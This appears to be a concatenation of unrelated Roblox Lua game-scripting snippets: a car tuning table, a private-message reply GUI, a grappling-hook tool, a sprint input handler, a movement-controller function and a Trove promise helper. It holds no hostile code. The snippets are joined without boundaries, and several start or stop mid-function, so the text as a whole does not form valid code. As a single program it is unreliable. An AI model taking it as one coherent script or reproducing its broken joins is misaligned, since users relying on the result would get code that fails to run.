Tune.ABSEnabled = true -- Implements ABS Tune.ABSThreshold = 20 -- Slip speed allowed before ABS starts working (in SPS) Tune.FBrakeForce = 1000 -- Front brake force Tune.RBrakeForce = 500 -- Rear brake force Tune.PBrakeForce = 5000 -- Handbrake force Tune.FLgcyBForce = 15000 -- Front brake force [PGS OFF] Tune.RLgcyBForce = 10000 -- Rear brake force [PGS OFF] Tune.LgcyPBForce = 25000 -- Handbrake force [PGS OFF]
--[[Engine]]
-- -- Everything below can be illustrated and tuned with the graph below. -- https://www.desmos.com/calculator/x1h2vdccu1 -- This includes everything, from the engines, to boost, to electric. -- Naturally Aspirated Engine Tune.Engine = true Tune.IdleRPM = 1000 Tune.Redline = 12000 Tune.PeakRPM = 9000 -- Horsepower Tune.Horsepower = 89 Tune.MH_PeakRPM = Tune.PeakRPM Tune.MH_PeakSharp = 2 Tune.MH_CurveMult = 0.02 -- Torque Tune.M_EqPoint = 9500 Tune.MT_PeakRPM = 11000 Tune.MT_PeakSharp = 2 Tune.MT_CurveMult = 0.02 -- Electric Engine Tune.Electric = false Tune.E_Redline = 10000 Tune.E_Trans1 = 4000 Tune.E_Trans2 = 9000 -- Horsepower Tune.E_Horsepower = 223 Tune.EH_FrontMult = 0.15 Tune.EH_EndMult = 2.9 Tune.EH_EndPercent = 7 -- Torque Tune.E_Torque = 180 Tune.ET_EndMult = 1.505 Tune.ET_EndPercent = 27.5 -- Turbocharger Tune.Turbochargers = 0 -- Number of turbochargers in the engine -- Set to 0 for no turbochargers Tune.T_Boost = 7 Tune.T_Efficiency = 6 --Horsepower Tune.TH_PeakSharp = 2 Tune.TH_CurveMult = 0.02 --Torque Tune.TT_PeakSharp = 2 Tune.TT_CurveMult = 0.02 Tune.T_Size = 80 -- Turbo Size; Bigger size = more turbo lag -- Supercharger Tune.Superchargers = 0 -- Number of superchargers in the engine -- Set to 0 for no superchargers Tune.S_Boost = 5 Tune.S_Efficiency = 6 --Horsepower Tune.SH_PeakSharp = 2 Tune.SH_CurveMult = 0.02 --Torque Tune.ST_PeakSharp = 2 Tune.ST_CurveMult = 0.02 Tune.S_Sensitivity = 0.05 -- Supercharger responsiveness/sensitivity, applied per tick (recommended values between 0.05 to 0.1) --Misc Tune.RevAccel = 250 -- RPM acceleration when clutch is off Tune.RevDecay = 75 -- RPM decay when clutch is off Tune.RevBounce = 500 -- RPM kickback from redline Tune.IdleThrottle = 3 -- Percent throttle at idle Tune.Flywheel = 500 -- Flywheel weight (higher = faster response, lower = more stable RPM) --Aero Tune.Drag = 0.5 -- 0 to 1, edit to change drag effect (0 = no effect, 1 = full effect)
--// All global vars will be wiped/replaced except script
return function(data) local playergui = service.PlayerGui local localplayer = service.Players.LocalPlayer local gui = script.Parent.Parent local Frame = gui.Frame local Close = gui.Frame.Close local Reply = gui.Frame.Reply local ReplyBox = gui.Frame.Frame.ReplyBox local Message = gui.Frame.Frame.Message local Title = gui.Frame.Title local player = data.Player local message = data.Message local title = data.Title local replying = false local function send() if ReplyBox.Text~='Enter text then hit enter or "reply"' and #ReplyBox.Text>0 then gui:Destroy() client.Remote.Send('PrivateMessage','Reply from '..localplayer.Name,player,localplayer,service.Filter(ReplyBox.Text,localplayer,player)) client.UI.Make("Hint", {Message = "Reply sent"}) else ReplyBox.Text='Enter text then hit enter or "reply"' end end Frame.Visible = false ReplyBox.Visible = true Reply.Visible = true Message.Text = message Title.Text = title ReplyBox.FocusLost:connect(function(enterPressed) if enterPressed then send() end end) Close.MouseButton1Click:connect(function() gui:Destroy() end) Reply.MouseButton1Click:connect(function() if not replying then replying = true Frame:TweenSize(UDim2.new(0,300,0,280),nil,nil,0.5) ReplyBox:CaptureFocus() else send() end end) client.UI.Make("Notification",{ Title = "New Message"; Message = "New Message from "..player.Name..". Click to here to view."; Time = false; OnClick = function() gTable:Ready() Frame.Visible = true end; OnClose = function() gTable:Destroy() end; OnIgnore = function() gTable:Destroy() end; }) end
--Rescripted by Luckymaxer --Updated for R15 avatars by StarWars
Tool = script.Parent Handle = Tool:WaitForChild("Handle") Mesh = Handle:WaitForChild("Mesh") Players = game:GetService("Players") Debris = game:GetService("Debris") RbxUtility = require(script.Parent.RbxUtility) Create = RbxUtility.Create BaseUrl = "http://www.roblox.com/asset/?id=" Meshes = { GrappleWithHook = 33393806, Grapple = 30308256, Hook = 30307623, } Animations = { Crouch = {Animation = Tool:WaitForChild("Crouch"), FadeTime = 0.25, Weight = nil, Speed = nil}, R15Crouch = {Animation = Tool:WaitForChild("R15Crouch"), FadeTime = 0.25, Weight = nil, Speed = nil} } Sounds = { Fire = Handle:WaitForChild("Fire"), Connect = Handle:WaitForChild("Connect"), Hit = Handle:WaitForChild("Hit"), } for i, v in pairs(Meshes) do Meshes[i] = (BaseUrl .. v) end local BaseRopeConstraint = Instance.new("RopeConstraint") BaseRopeConstraint.Thickness = 0.2 BaseRopeConstraint.Restitution = 1 BaseRopeConstraint.Color = BrickColor.new("Really black") BasePart = Create("Part"){ Material = Enum.Material.Plastic, Shape = Enum.PartType.Block, TopSurface = Enum.SurfaceType.Smooth, BottomSurface = Enum.SurfaceType.Smooth, Size = Vector3.new(0.2, 0.2, 0.2), CanCollide = true, Locked = true, } BaseRope = BasePart:Clone() BaseRope.Name = "Effect" BaseRope.BrickColor = BrickColor.new("Really black") BaseRope.Anchored = true BaseRope.CanCollide = false Create("CylinderMesh"){ Scale = Vector3.new(1, 1, 1), Parent = BaseRope, } BaseGrappleHook = BasePart:Clone() BaseGrappleHook.Name = "Projectile" BaseGrappleHook.Transparency = 0 BaseGrappleHook.Size = Vector3.new(1, 0.4, 1) BaseGrappleHook.Anchored = false BaseGrappleHook.CanCollide = true Create("SpecialMesh"){ MeshType = Enum.MeshType.FileMesh, MeshId = (BaseUrl .. "30307623"), TextureId = (BaseUrl .. "30307531"), Scale = Mesh.Scale, VertexColor = Vector3.new(1, 1, 1), Offset = Vector3.new(0, 0, 0), Parent = BaseGrappleHook, } local RopeAttachment = Instance.new("Attachment") RopeAttachment.Name = "RopeAttachment" RopeAttachment.Parent = BaseGrappleHook Create("BodyGyro"){ Parent = BaseGrappleHook, } for i, v in pairs({Sounds.Connect, Sounds.Hit}) do local Sound = v:Clone() Sound.Parent = BaseGrappleHook end Rate = (1 / 60) MaxDistance = 200 CanFireWhileGrappling = true Crouching = false ToolEquipped = false ServerControl = (Tool:FindFirstChild("ServerControl") or Create("RemoteFunction"){ Name = "ServerControl", Parent = Tool, }) ClientControl = (Tool:FindFirstChild("ClientControl") or Create("RemoteFunction"){ Name = "ClientControl", Parent = Tool, }) for i, v in pairs(Tool:GetChildren()) do if v:IsA("BasePart") and v ~= Handle then v:Destroy() end end Mesh.MeshId = Meshes.GrappleWithHook Handle.Transparency = 0 Tool.Enabled = true function CheckTableForString(Table, String) for i, v in pairs(Table) do if string.find(string.lower(String), string.lower(v)) then return true end end return false end function CheckIntangible(Hit) local ProjectileNames = {"Water", "Arrow", "Projectile", "Effect", "Rail", "Laser", "Bullet", "GrappleHook"} if Hit and Hit.Parent then if ((not Hit.CanCollide or CheckTableForString(ProjectileNames, Hit.Name)) and not Hit.Parent:FindFirstChild("Humanoid")) then return true end end return false end function CastRay(StartPos, Vec, Length, Ignore, DelayIfHit) local Ignore = ((type(Ignore) == "table" and Ignore) or {Ignore}) local RayHit, RayPos, RayNormal = game:GetService("Workspace"):FindPartOnRayWithIgnoreList(Ray.new(StartPos, Vec * Length), Ignore) if RayHit and CheckIntangible(RayHit) then if DelayIfHit then wait() end RayHit, RayPos, RayNormal = CastRay((RayPos + (Vec * 0.01)), Vec, (Length - ((StartPos - RayPos).magnitude)), Ignore, DelayIfHit) end return RayHit, RayPos, RayNormal end function AdjustRope() if not Rope or not Rope.Parent or not CheckIfGrappleHookAlive() then return end local StartPosition = Handle.RopeAttachment.WorldPosition local EndPosition = GrappleHook.RopeAttachment.WorldPosition local RopeLength = (StartPosition - EndPosition).Magnitude Rope.Size = Vector3.new(1, 1, 1) Rope.Mesh.Scale = Vector3.new(0.1, RopeLength, 0.1) Rope.CFrame = (CFrame.new(((StartPosition + EndPosition) / 2), EndPosition) * CFrame.Angles(-(math.pi / 2), 0, 0)) end function DisconnectGrappleHook(KeepBodyObjects) for i, v in pairs({Rope, GrappleHook, GrappleHookChanged}) do if v then if tostring(v) == "Connection" then v:disconnect() elseif type(v) == "userdata" and v.Parent then v:Destroy() end end end if CheckIfAlive() and not KeepBodyObjects then for i, v in pairs(Torso:GetChildren()) do if string.find(string.lower(v.ClassName), string.lower("Body")) then v:Destroy() end end end Connected = false Mesh.MeshId = Meshes.GrappleWithHook end function TryToConnect() if not ToolEquipped or not CheckIfAlive() or not CheckIfGrappleHookAlive() or Connected then DisconnectGrappleHook() return end local DistanceApart = (Torso.Position - GrappleHook.Position).Magnitude if DistanceApart > MaxDistance then DisconnectGrappleHook() return end local Directions = {Vector3.new(0, 1, 0), Vector3.new(0, -1, 0), Vector3.new(1, 0, 0), Vector3.new(-1, 0, 0), Vector3.new(0, 0, 1), Vector3.new(0, 0, -1)} local ClosestRay = {DistanceApart = math.huge} for i, v in pairs(Directions) do local Direction = CFrame.new(GrappleHook.Position, (GrappleHook.CFrame + v * 2).p).lookVector local RayHit, RayPos, RayNormal = CastRay((GrappleHook.Position + Vector3.new(0, 0, 0)), Direction, 2, {Character, GrappleHook, Rope}, false) if RayHit then local DistanceApart = (GrappleHook.Position - RayPos).Magnitude if DistanceApart < ClosestRay.DistanceApart then ClosestRay = {Hit = RayHit, Pos = RayPos, Normal = RayNormal, DistanceApart = DistanceApart} end end end if ClosestRay.Hit then Connected = true local GrappleCFrame = CFrame.new(ClosestRay.Pos, (CFrame.new(ClosestRay.Pos) + ClosestRay.Normal * 2).p) * CFrame.Angles((math.pi / 2), 0, 0) GrappleCFrame = (GrappleCFrame * CFrame.new(0, -(GrappleHook.Size.Y / 1.5), 0)) GrappleCFrame = (CFrame.new(GrappleCFrame.p, Handle.Position) * CFrame.Angles(0, math.pi, 0)) local Weld = Create("Motor6D"){ Part0 = GrappleHook, Part1 = ClosestRay.Hit, C0 = GrappleCFrame:inverse(), C1 = ClosestRay.Hit.CFrame:inverse(), Parent = GrappleHook, } for i, v in pairs(GrappleHook:GetChildren()) do if string.find(string.lower(v.ClassName), string.lower("Body")) then v:Destroy() end end local HitSound = GrappleHook:FindFirstChild("Hit") if HitSound then HitSound:Play() end local BackUpGrappleHook = GrappleHook wait(0.4) if not CheckIfGrappleHookAlive() or GrappleHook ~= BackUpGrappleHook then return end Sounds.Connect:Play() local ConnectSound = GrappleHook:FindFirstChild("Connect") if ConnectSound then ConnectSound:Play() end for i, v in pairs(Torso:GetChildren()) do if string.find(string.lower(v.ClassName), string.lower("Body")) then v:Destroy() end end local TargetPosition = GrappleHook.Position local BackUpPosition = TargetPosition local BodyPos = Create("BodyPosition"){ D = 1000, P = 3000, maxForce = Vector3.new(1000000, 1000000, 1000000), position = TargetPosition, Parent = Torso, } local BodyGyro = Create("BodyGyro"){ maxTorque = Vector3.new(100000, 100000, 100000), cframe = CFrame.new(Torso.Position, Vector3.new(GrappleCFrame.p.X, Torso.Position.Y, GrappleCFrame.p.Z)), Parent = Torso, } Spawn(function() while TargetPosition == BackUpPosition and CheckIfGrappleHookAlive() and Connected and ToolEquipped and CheckIfAlive() do BodyPos.position = GrappleHook.Position wait() end end) end end function CheckIfGrappleHookAlive() return (((GrappleHook and GrappleHook.Parent --[[and Rope and Rope.Parent]]) and true) or false) end function CheckIfAlive() return (((Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and Torso and Torso.Parent and Player and Player.Parent) and true) or false) end function Activated() if not Tool.Enabled or not ToolEquipped or not CheckIfAlive() then return end local MousePosition = InvokeClient("MousePosition") if not MousePosition then return end MousePosition = MousePosition.Position if CheckIfGrappleHookAlive() then if not CanFireWhileGrappling then return end if GrappleHookChanged then GrappleHookChanged:disconnect() end DisconnectGrappleHook(true) end if GrappleHookChanged then GrappleHookChanged:disconnect() end Tool.Enabled = false Sounds.Fire:Play() Mesh.MeshId = Meshes.Grapple GrappleHook = BaseGrappleHook:Clone() GrappleHook.CFrame = (CFrame.new((Handle.Position + (MousePosition - Handle.Position).Unit * 5), MousePosition) * CFrame.Angles(0, 0, 0)) local Weight = 70 GrappleHook.Velocity = (GrappleHook.CFrame.lookVector * Weight) local Force = Create("BodyForce"){ force = Vector3.new(0, workspace.Gravity * 0.98 * GrappleHook:GetMass(), 0), Parent = GrappleHook, } GrappleHook.Parent = Tool GrappleHookChanged = GrappleHook.Changed:connect(function(Property) if Property == "Parent" then DisconnectGrappleHook() end end) Rope = BaseRope:Clone() Rope.Parent = Tool Spawn(function() while CheckIfGrappleHookAlive() and ToolEquipped and CheckIfAlive() do AdjustRope() Spawn(function() if not Connected then TryToConnect() end end) wait() end end) wait(2) Tool.Enabled = true end function Equipped(Mouse) Character = Tool.Parent Humanoid = Character:FindFirstChild("Humanoid") Torso = Character:FindFirstChild("Torso") or Character:FindFirstChild("UpperTorso") Player = Players:GetPlayerFromCharacter(Character) if not CheckIfAlive() then return end Spawn(function() DisconnectGrappleHook() if HumanoidJumping then HumanoidJumping:disconnect() end HumanoidJumping = Humanoid.Jumping:connect(function() DisconnectGrappleHook() end) end) Crouching = false ToolEquipped = true end function Unequipped() if HumanoidJumping then HumanoidJumping:disconnect() end DisconnectGrappleHook() Crouching = false ToolEquipped = false end function OnServerInvoke(player, mode, value) if player ~= Player or not ToolEquipped or not value or not CheckIfAlive() then return end if mode == "KeyPress" then local Key = value.Key local Down = value.Down if Key == "q" and Down then DisconnectGrappleHook() elseif Key == "c" and Down then Crouching = not Crouching Spawn(function() local Animation = Animations.Crouch if Humanoid and Humanoid.RigType == Enum.HumanoidRigType.R15 then Animation = Animations.R15Crouch end InvokeClient(((Crouching and "PlayAnimation") or "StopAnimation"), Animation) end) end end end function InvokeClient(Mode, Value) local ClientReturn = nil pcall(function() ClientReturn = ClientControl:InvokeClient(Player, Mode, Value) end) return ClientReturn end ServerControl.OnServerInvoke = OnServerInvoke Tool.Activated:connect(Activated) Tool.Equipped:connect(Equipped) Tool.Unequipped:connect(Unequipped)
-- Connect input events to update walk speed
UserInputService.InputBegan:Connect(function(input) if input.KeyCode == Enum.KeyCode.LeftShift or input.KeyCode == Enum.KeyCode.RightShift or input.KeyCode == Enum.KeyCode.ButtonL2 then updateWalkSpeed() end end) UserInputService.InputEnded:Connect(function(input) if input.KeyCode == Enum.KeyCode.LeftShift or input.KeyCode == Enum.KeyCode.RightShift or input.KeyCode == Enum.KeyCode.ButtonL2 then updateWalkSpeed() end end)
--
script.Parent.Handle3.Hinge1.Transparency = 1 script.Parent.Handle3.Interactive1.Transparency = 1 script.Parent.Handle3.Part1.Transparency = 1 wait(0.03) end script.Parent.Push.ClickDetector.MouseClick:connect(toiletHandle)
-- Returns module (possibly nil) and success code to differentiate returning nil due to error vs Scriptable
function ControlModule:SelectComputerMovementModule() if not (UserInputService.KeyboardEnabled or UserInputService.GamepadEnabled) then return nil, false end local computerModule local DevMovementMode = Players.LocalPlayer.DevComputerMovementMode if DevMovementMode == Enum.DevComputerMovementMode.UserChoice then computerModule = computerInputTypeToModuleMap[lastInputType] if UserGameSettings.ComputerMovementMode == Enum.ComputerMovementMode.ClickToMove and computerModule == Keyboard then -- User has ClickToMove set in Settings, prefer ClickToMove controller for keyboard and mouse lastInputTypes computerModule = ClickToMove end else -- Developer has selected a mode that must be used. computerModule = movementEnumToModuleMap[DevMovementMode] -- computerModule is expected to be nil here only when developer has selected Scriptable if (not computerModule) and DevMovementMode ~= Enum.DevComputerMovementMode.Scriptable then warn("No character control module is associated with DevComputerMovementMode ", DevMovementMode) end end if computerModule then return computerModule, true elseif DevMovementMode == Enum.DevComputerMovementMode.Scriptable then -- Special case where nil is returned and we actually want to set self.activeController to nil for Scriptable return nil, true else -- This case is for when computerModule is nil because of an error and no suitable control module could -- be found. return nil, false end end
--print(animName .. " " .. idx .. " [" .. origRoll .. "]")
local anim = animTable[animName][idx].anim
--[=[ @param promise Promise @return Promise Gives the promise to the trove, which will cancel the promise if the trove is cleaned up or if the promise is removed. The exact promise is returned, thus allowing chaining. ```lua trove:AddPromise(doSomethingThatReturnsAPromise()) :andThen(function() print("Done") end) -- Will cancel the above promise (assuming it didn't resolve immediately) trove:Clean() local p = trove:AddPromise(doSomethingThatReturnsAPromise()) -- Will also cancel the promise trove:Remove(p) ``` :::caution Promise v4 Only This is only compatible with the [roblox-lua-promise](https://eryn.io/roblox-lua-promise/) library, version 4. ::: ]=]
function Trove:AddPromise(promise) if self._cleaning then error("Cannot call trove:AddPromise() while cleaning", 2) end AssertPromiseLike(promise) if promise:getStatus() == "Started" then promise:finally(function() if self._cleaning then return end self:_findAndRemoveFromObjects(promise, false) end) self:Add(promise, "cancel") end return promise end